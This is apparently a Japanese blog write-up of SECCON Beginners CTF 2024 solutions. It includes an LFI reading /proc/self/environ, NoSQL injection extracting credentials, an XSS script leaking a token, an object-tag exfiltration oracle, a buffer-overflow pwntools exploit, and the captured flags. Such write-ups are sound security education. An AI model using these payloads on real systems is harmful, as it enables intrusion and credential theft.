メインコンテンツまでスキップ

SECCON Beginners CTF 2024

· 約9分
maa123
maa123

結果

結果

今回はWeb全部解きました。

reversing

assemble

id=1,2は以下の通りです

mov rax, 0x123
mov rax, 0x123
push rax

id=3から時間がかかりました(アセンブリで調べるとデータセクションを使っているものばかり出てきたので)

push 1869376613 ; elloを入力
push 72; Hを入力
mov rax, 1
mov rdi, 1
mov rsi, rsp
mov rdx, 12 ; pushで8byte積まれるので、Hの8とelloの4で12
syscall

id=4

flag.txtを用意するためにまとめてpushするとエラーとなってしまったので、32bitをpushしてからmovで残り32bitを書き込みました

push 0; ファイル名終端の0x0
push 1734437990; flag
mov DWORD PTR [rsp+4], 1954051118; .txt
mov rax, 2; open
mov rdi, rsp
mov rsi, 2
mov rdx, 0
syscall
mov rax, 0; read
mov rdi, 3
mov rsi, rsp
mov rdx, 55; flagが入り切るまで大きくした
syscall
mov rax, 1; write
mov rdi, 1
mov rsi, rsp
mov rdx, 55
syscall
ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}

cha-ll-enge

cha-ll-engeはLLMに渡して適当な言語に変換させたあと、フラグを出力する関数を書かせて実行することで何も考えずに解くこともできました。

misc

clamre

中身は以下の正規表現が一致するか確認しているだけでした。

^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$

一文字ずつ順に組み立ててflagが得られました

ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}

Web

wooorker

?token=tokenを付与してリダイレクトされるため、自身のサーバーのURLを?nextに与えることでtokenを得ることができ、これでflagを取得できます

ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}

ssrforlfi

LFIでflagを環境変数から取得する問題でした。

/proc/self/environから読むことができますが、os.path.existsで存在するか..が含まれているとDetected LFIとして弾かれてしまいます。

実際の取得がcurlで、その前の確認はos.path.existsであるため、パスの文字列のパース方法の差があるのではと考えました。

Geminiに聞いてみたところ、例えば/は%2Fにすればcurlでは読み込むことができ、pythonからは存在しない扱いにできそうでした。

RFC8089を読むとUNC Stringという表記があり、file://host.example.com/Share/path...と扱うことができることが分かりました。

手元のcurlでfile://localhost/proc/self/environにアクセスするとファイルを読むことができたのでこれを送信してflagが得られました。

https://datatracker.ietf.org/doc/html/rfc8089#appendix-E.3.1

#https://ssrforlfi.beginners.seccon.games/?url=file://localhost/proc/self/environ

ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}

double-leaks

配布されたファイルには以下の箇所がありNoSQL Injectionが存在していました。

user = users_collection.find_one(
{"username": username, "password_hash": password_hash}
)

waf関数でregexなどは塞がれていましたが、これはpassword_hashのみに使用されており、username側では可能でした。

また、使用できる文字から以下のリクエストでこの箇所は通過できました。

{username: {"$ne": ""}, password_hash: {"$ne": ""}}

しかし、入力されたusername, password_hashがDBから取得したものと一致しているか確認されており、この文字列では通すことができないので何らかの手段でusername, password_hashを取り出す必要がありました。

usernameはregexで先頭から1文字ずつ一致するものを調べることができ、(一文字目がkのときに^kを与えるとDO NOT CHEATING、それ以外ならInvalid Credentialになる)usernameは取得できました。

ky0muky0mupur1n

password_hashではregexが利用できないため他の方法を探すと$gtが文字列にも使用可能で、これを使用することで1文字ずつ特定することができました。

最後に得られたusernameとpassword_hashを使用してflagが得られました

{ "username": "ky0muky0mupur1n", "password_hash": "d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a"}

ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}

wooorker2

リダイレクト時に付与されるtokenがパラメータではなくフラグメントに追加されていました。

サーバー側にはこのフラグメントは送信されないのですが、リダイレクトした時点で遷移先のoriginに移動しているためJavaScriptで取得することが可能で、これを自身の管理するサーバーに送信するだけでtokenを取得でき、wooorker1と同様にフラグが得られました

<script>
fetch("./?token="+encodeURIComponent(window.location.hash));
</script>
ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}

flagAlias

追記: wafの回避として以下のようにして入力していました。

Function.constructor("return new Promise(s=>{import('./fl"+"ag.ts').then(t=>{s(Obj"+"ect.keys(t))})})")()

eval内のscopeからはflag変数にアクセスできなかったため、importする必要がありました。

しかし、outside scopeのためimport * as flag './flag.ts'は使用できず、import().thenを使用する必要がありました。

evalの上からawaitされていたためPromiseを返却すれば解決されるため、まず以下のコードでflagを取得する関数名を取得しました

return new Promise(s=>{import('./flag.ts').then(t=>{s(Object.keys(t))})})

関数名が判明したためこれを呼び出すと、flagはコメントに書かれていると出力されました。

return new Promise(s=>{import('./flag.ts').then(t=>{s(t.getRealFlag_yUC2BwCtXEkg())})})
//Output: fake{The flag is commented one line above here!}

JavaScriptでは関数の.toString()を呼び出せばコメントも含めた中身が出力できるため、()を.toString()に書き換えてflagが得られました。

return new Promise(s=>{import('./flag.ts').then(t=>{s(t.getRealFlag_yUC2BwCtXEkg())})})
//Output: function getRealFlag_yUC2BwCtXEkg() {\n // Great! You found the flag!\n // ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}\n return \"fake{The flag is commented one line above here!}\";\n}
// flag: ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}

htmls

flagが/var/www/htmls/ctf以下のランダムな深さのディレクトリにflag.txtとして生成されていて、ランダムな深さのパスの名前を得る必要がありました。

botにhtmlを読ませることができ、このhtmlはhtmlsフォルダに配置されているため、./ctf/1/のようなパスを含めてディレクトリが存在するか調べることができるのですが、JavaScriptは無効化されていました。

HTMLかCSSでfallbackが行われるものがあれば存在しなかった場合に外部にリクエストを送ることができるのでこれが可能なものを探しました。

objectタグがfallbackの機能を持っていたため、./ctf/[0-9a-z]/を入れたObjectタグを用意し、それぞれに自身の管理するサーバーのURLのfallbackも入れました。

<object data="./ctf/0/"><object data="https://example.com/?p=0"></object></object>
<object data="./ctf/1/"><object data="https://example.com/?p=1"></object></object>
...
<object data="./ctf/z/"><object data="https://example.com/?p=z"></object></object>

サーバーにリクエストの無かった文字が正解のディレクトリなので一文字特定ができ、繰り返すことでflag.txtの存在するパスを特定することができました。

このパスを指定してアクセスすることでflagが得られました。

https://htmls.beginners.seccon.games/flag/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/l/

ctf4b{h7ml_15_7h3_l5_c0mm4nd_h3h3h3!}

pwnable

simpleoverwrite

IDAやgdbでwin関数のアドレスを調べてこれを送信したところ取得できましたが何故これで取得できるのかはよくわかりませんでした。

(gdb) call win
$1 = {<text variable, no debug info>} 0x401186 <win>
(gdb)
from pwn import *

r = remote('simpleoverwrite.beginners.seccon.games', 9001)
r.recvuntil(b'input:')
r.sendline(b'A'*18+b"\x86\x11\x40\x00\x00\x00\x00\x00")

print(r.recvall())

r.close()

# flag: ctf4b{B3l13v3_4g41n}